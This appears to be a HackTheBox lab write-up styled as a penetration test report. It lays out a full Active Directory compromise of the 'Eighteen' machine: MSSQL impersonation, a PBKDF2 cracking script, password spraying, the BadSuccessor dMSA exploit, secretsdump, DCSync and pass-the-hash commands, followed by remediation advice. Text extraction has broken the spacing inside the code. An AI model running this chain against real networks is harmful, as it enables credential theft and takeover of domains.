PENETRATION TEST REPORT

Target: Eighteen (10.129.3.160)

Difficulty: Easy

Prepared for:
HackTheBox / GitHub Portfolio

Candidate:
Aliakbar Babayev

February 8, 2026

Contents

1 Executive Summary

During the engagement on the host "Eighteen" (Windows Server 2025), a critical attack path was identified starting from a vulnerable MSSQL database service. By leveraging credentials found for the user `kevin`, we were able to impersonate a privileged database user, exfiltrate password hashes, and crack them to gain initial access.

Further assessment revealed a critical vulnerability in the Active Directory configuration regarding Delegated Managed Service Accounts (dMSA). This allowed for the exploitation of the "BadSuccessor" vulnerability, enabling the attacker to create a malicious service account impersonating the Domain Administrator.

By chaining these vulnerabilities, we successfully retrieved the Domain Controller's machine account hash and compromised the entire domain.

2 Internal Network Compromise Walkthrough

2.1 MSSQL Exploitation & Data Exfiltration

Initial access to the MSSQL service was established using credentials obtained during the discovery phase: `kevin` / `iNa2we6haRj2gaw!`.

Once authenticated, we identified that the `kevin` user had permissions to impersonate other logins. We executed a context switch to the `appdev` user and accessed the `financial_planner` database.

```
impacket - mssqlclient   kevin : ' iNa2we6haRj2gaw ! ' @10 .129.3.160

-- Check  impersonation   rights
enum_impersonate

-- Impersonate   appdev
EXECUTE  AS LOGIN  = ' appdev ';
USE  financial_planner ;

-- Enumerate  tables  and  columns
SELECT  name  FROM  financial_planner . sys . tables ;
SELECT  COLUMN_NAME ,  DATA_TYPE
FROM  financial_planner . INFORMATION_SCHEMA . COLUMNS
WHERE  TABLE_NAME   = ' users ';
```

Enumeration of the `users` table led to the exfiltration of a PBKDF2-SHA256 password hash:

`sha256:600000:AMtzteQIG7yAbZIa:0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717`

2.2 Password Cracking

To recover the plaintext password, a custom Python script was developed to brute-force the hash using the `rockyou.txt` wordlist.

```
# !/ usr / bin / env python3
import  hashlib
from  multiprocessing   import  Pool , cpu_count

SALT  = " AMtzteQIG7yAbZIa "
ITERATIONS   = 600000
TARGET_HASH   = " 0673 ad90a0b4afb19d662336f0fce3a9edd0b7b19193717 "
WORDLIST  = "/ usr / share / wordlists / rockyou . txt "
```

```
def  check_password ( password ):
     try :
          computed   = hashlib . pbkdf2_hmac (
               ’ sha256 ’ ,password ,  SALT . encode () ,ITERATIONS
          )
          if  computed . hex () ==  TARGET_HASH :
               return   password . decode ( errors =" ignore ")
     except :
          pass
     return   None

def  main () :
     print (f" [+]  Using  wordlist :  { WORDLIST } ")
     with  open ( WORDLIST , " rb ") as  f:
          passwords   = ( line . strip ()for  line  in  f)
          with  Pool ( cpu_count () ) as  pool :
               for  result   in  pool . imap_unordered ( check_password ,   passwords
    ):
                    if  result :
                         print (f" [+]  PASSWORD   FOUND : { result }")
                         pool . terminate ()
                         return

if  __name__   ==  " __main__ ":
     main ()
```

Result: The script successfully recovered the password: `iloveyou1`.

2.3 User Enumeration & Lateral Movement

To identify a valid username for the recovered password, we performed a RID brute-force attack against the MSSQL service using `NetExec`.

```
nxc  mssql  10.129.3.160   -u  kevin  -p  ’ iNa2we6haRj2gaw !’   --rid - brute  --
    local - auth
```

This yielded the following active users:

- jamie.dunn
- jane.smith
- alice.jones
- **adam.scott**
- bob.brown
- carol.white
- dave.green

Using this user list (`users.txt`) and the cracked password, a password spray attack was executed against the WinRM service.

```
crackmapexec   winrm  10.129.3.160   -u  users . txt -p  ’ iloveyou1 ’
```

The attack succeeded for the user `adam.scott`, granting initial shell access to the target.

2.4 Enumeration of BadSuccessor Vulnerability

Upon accessing the system as adam.scott, enumeration identified the operating system as Windows Server 2025 (Build 26100). This build is known to be vulnerable to dMSA abuse (BadSuccessor).

We verified permissions to write to the OU=Staff container:

```
Get - ADObject - Filter * - SearchBase " OU = Staff , DC = eighteen , DC = htb "
```

2.5 Exploitation: Creating the Malicious dMSA

Using the BadSuccessor.ps1 exploit script, a malicious dMSA named myadmin was created. The script configured the account to be delegated byadam.scott targeting the Administrator account.

```
BadSuccessor   - Mode Exploit   - Path " OU = Staff , DC = eighteen , DC = htb" Name "
    myadmin "  - DelegatedAdmin   " adam . scott "- DelegateTarget   " Administrator
    "  - Domain  " eighteen . htb "
```

2.6 Kerberos Attack & Time Synchronization

A significant obstacle was encountered regarding time synchronization. Kerberos authentication requires the attacker's clock to be within 5 minutes of the target.

- **Issue:** Target was in US Pacific Time (UTC-8), causing "Clock Skew" errors.
- **Resolution:** The attacker machine time was synchronized to the target's exact UTC time using:

```
sudo  date  -u  -s  "2026 -02 -08  18:25:00"
```

2.7 Privilege Escalation Chain

Once time was synchronized, the attack proceeded via impacket-getST:

1. **S4U2Self:** Requested a Service Ticket for the malicious dMSA (myadmin$). 2. **S4U2Proxy (Delegation):** Used the dMSA ticket to request an Administrator ticket. 3. **Dumping Secrets:** Using the generated tickets, we executed secretsdump.py.

```
#  S4U2Self
proxychains   python3   getST . py adam . scott : iloveyou1 - impersonate   "
    myadmin$ "  - self - dmsa

#  Export   Ticket
export   KRB5CCNAME =' myadmin$@krbtgt_EIGHTEEN . HTB@EIGHTEEN . HTB . ccache '

#  Dump  LSA  Secrets   ( finding  DC01$  hash )
proxychains   secretsdump . py  -k  -no - pass dc01 . eighteen . htb
```

2.8 Domain Dominance

The secretsdump output revealed the NTLM hash for the Domain Controller machine account (DC01$) stored in LSA Secrets.

Recovered Hash:

```
EIGHTEEN \ DC01$ : aad3b ...: d79b6837ac78c51c79aab3d970875584 :::
```

Using the `DC01$` hash, we performed a DCSync attack to retrieve the true Administrator hash from `NTDS.dit` and logged in.

```
# Final  Login
evil - winrm -i  10.129.3.160   -u  Administrator   -H  < Admin_Hash >
```

3 Remediation

- **MSSQL Security:** Audit MSSQL logins for excessive privileges (IMPERSONATE) and ensure database strings/hashes are not accessible to standard users.
- **Patch Management:** Update Windows Server 2025 to the latest patch level to address the BadSuccessor logic flaw.
- **Least Privilege:** Remove "Create Child" permissions for standard users like`adam.scott` on sensitive OUs like `OU=Staff`.
- **Protected Users:** Add the Administrator account to the "Protected Users" group to prevent delegation.

4 Appendix: Command History

1. Initial Access

```
# MSSQL  Interaction
impacket - mssqlclient   kevin :' iNa2we6haRj2gaw !' @10 .129.3.160
> EXECUTE  AS  LOGIN  = ' appdev ';
> USE  financial_planner ;
> SELECT  name  FROM  financial_planner . sys . tables ;

# User  Enumeration   ( RID Brute )
nxc mssql  10.129.3.160   -u  kevin  -p  ' iNa2we6haRj2gaw !'   --rid - brute --
    local - auth

# Password  Spraying
crackmapexec   winrm  10.129.3.160   -u  users . txt -p  ' iloveyou1 '
```

2. Time Synchronization (Critical)

```
# Get  Target  UTC  time  via  Evil - WinRM
( Get - Date ). ToUniversalTime ()

# Set  Attacker  Time  ( Example )
sudo  date  -u  -s  "2026 -02 -08  18:25:00"
```

3. Exploitation (Windows Side)

```
# Import  Module
. .\ BadSuccessor . ps1

# Execute  Exploit
BadSuccessor   - Mode Exploit   - Path " OU = Staff , DC = eighteen , DC = htb " - Name "
    myadmin "  - DelegatedAdmin   " adam . scott "- DelegateTarget   " Administrator
    " - Domain " eighteen . htb "
```

4. Ticket Generation (Kali Side)

```
# Clear  old  tickets
unset  KRB5CCNAME

# Request  dMSA  Ticket
proxychains   python3  getST . py eighteen . htb / adam . scott : iloveyou1-
    impersonate   " myadmin$ " -dc - ip 10.129.3.160   - self - dmsa

# Export  Ticket
export  KRB5CCNAME =' myadmin$@krbtgt_EIGHTEEN . HTB@EIGHTEEN . HTB . ccache '
```

5. Dumping & Compromise

```
# Dump  LSA  Secrets  using  the  dMSA  ticket
proxychains   secretsdump . py  -k  -no - pass dc01 . eighteen . htb
```

```
# Use the DC01$ Machine Hash found in LSA to DCSync
proxychains secretsdump . py - hashes : d79b6837ac78c51c79aab3d970875584 '
    eighteen . htb / dc01$@10 .129.3.160 '

# Pass - the - Hashwith Administrator
evil - winrm -i 10.129.3.160 -u Administrator -H < Final_Admin_Hash >
```